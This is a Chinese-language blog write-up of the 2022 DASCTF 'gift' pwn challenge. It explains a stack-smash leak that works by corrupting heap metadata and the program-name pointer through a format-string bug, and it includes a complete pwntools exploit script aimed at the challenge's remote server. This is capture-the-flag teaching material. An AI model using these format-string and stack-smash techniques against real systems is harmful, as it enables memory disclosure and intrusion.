Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

【2022DASCTF MAY 出题人挑战赛】gift

Posted on 2022年5月21日2022年5月21日 by Nameless

学到的知识

stack smash

wiki链接

通过free等函数的报错中的打印来泄露栈上的指针指向的内容,比如:

这是正常情况下的报错打印。‘./gift’这串字符是放在哪里的呢?

我们只要修改箭头处栈上的指针为存放字符串的指针,就能利用报错打印想要的字符串了如flag

版本

2.23-11.3

保护

虽然没开canary,但是和开了差不多

逆向分析

结合gdb:

能看出红色箭头处可以泄露出这个保存着flag的堆的指针

这里能泄露栈地址,然后后面接一个格式化字符串漏洞

思路历程

一开始的想法

栈题做多了总想ret2,这题其实如果没有exit有一个很不错的利用:我们做堆题的时候大抵都做过改free_hook的题,将free(ptr)改成system(‘/bin/sh’)。这题其实如果是return 0而不是exit(0)的话,可以考虑在第一次fmt的时候,改rbp+8的返回地址的低四位,使得ret2start,同时泄露libc。然后就可以在第二次的fmt的时候,将栈上布置好free_hook,free_hook+2,free_hook+4,再fmt就可改free_hook为puts达到puts(ptr)的目的

但是出题人很机智的规避了这个做法,应该是想到了同样的利用思路,%%%

后来的做法

想不出思路就去ctfwiki找灵感,找到了之前瞥见过一眼的stack smash。那么利用思路就很明显了,通过fmt打free_hook一样的布局方式,修改文件名称处的指针为泄露出来的堆指针。同时fmt修改堆的pre_size为0(或者其它能报错的大小,修改成0不用用到%c)达到报错打印的目的

运行结果

exp

from pwn import *
from hashlib import sha256
import base64
##context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)

r=process('./gift')
libc=ELF('./libc-2.23.so')
elf=ELF('./gift')
r=remote('node4.buuoj.cn',28706)

def z():
    gdb.attach(r)

if __name__ == '__main__':
    ##z()
    print('test1:'+hex(elf.got['free']))
    print('test2:'+hex(elf.got['puts']))
    r.sendafter("What's your name?\n",'nameless')
    r.recvuntil('nameless')
    gift=u64(r.recv(6).ljust(8,'\x00'))
    log.success('gift:'+hex(gift))
    r.sendafter("Do you want it?\n",'Yes\n')
    r.recvuntil("Here is your gift:")
    heap=int(r.recvuntil('\n',drop=True),16)+8##+0x1a8##+(0xe8-0x30)
    s1=heap+0x1a0
    s2=s1+2
    s3=s1+4
    log.success('heap:'+hex(heap))
    ##log.success('stack:'+hex(stack))
    a=gift>>32 & 0xffff
    b=gift>>16 & 0xffff
    c=gift & 0xffff
    log.success('a:'+hex(a))
    log.success('b:'+hex(b))
    log.success('c:'+hex(c))
    ##pd="%{}c%14$hn".format(heap & 0xffff)
    pd="%22$hhn%{}c%23$hn%{}c%24$hn%{}c%25$hn".format(a,b-a,c-b)
    ##pd="%22$hhn".format(a,b-a,c-b)
    ##pd="%{}c%15$hnn%{}c".format(0x50,(heap & 0xffff)-0x50)
    print('len'+str(len(pd)))
    pd=pd.ljust(0x50,'\x00')+p64(gift-8)+p64(s3)+p64(s2)+p64(s1)
    ##z()
    r.sendafter("Now,to find your flag in the gift!",pd)
    r.interactive()

发表回复 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注

近期文章

  • 【kernelpwn之路】入门
  • NSS2022ROUND#4
  • 从PWN题NULL_FXCK中学到的glibc知识
  • glibc高版本堆题攻击初体验之safe unlink
  • python-sandbox沙盒逃逸学习记录

近期评论

    归档

    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • Linux
    • oi
    • PWN
    • python
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    uuu
    hash_hash
    ©2022 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes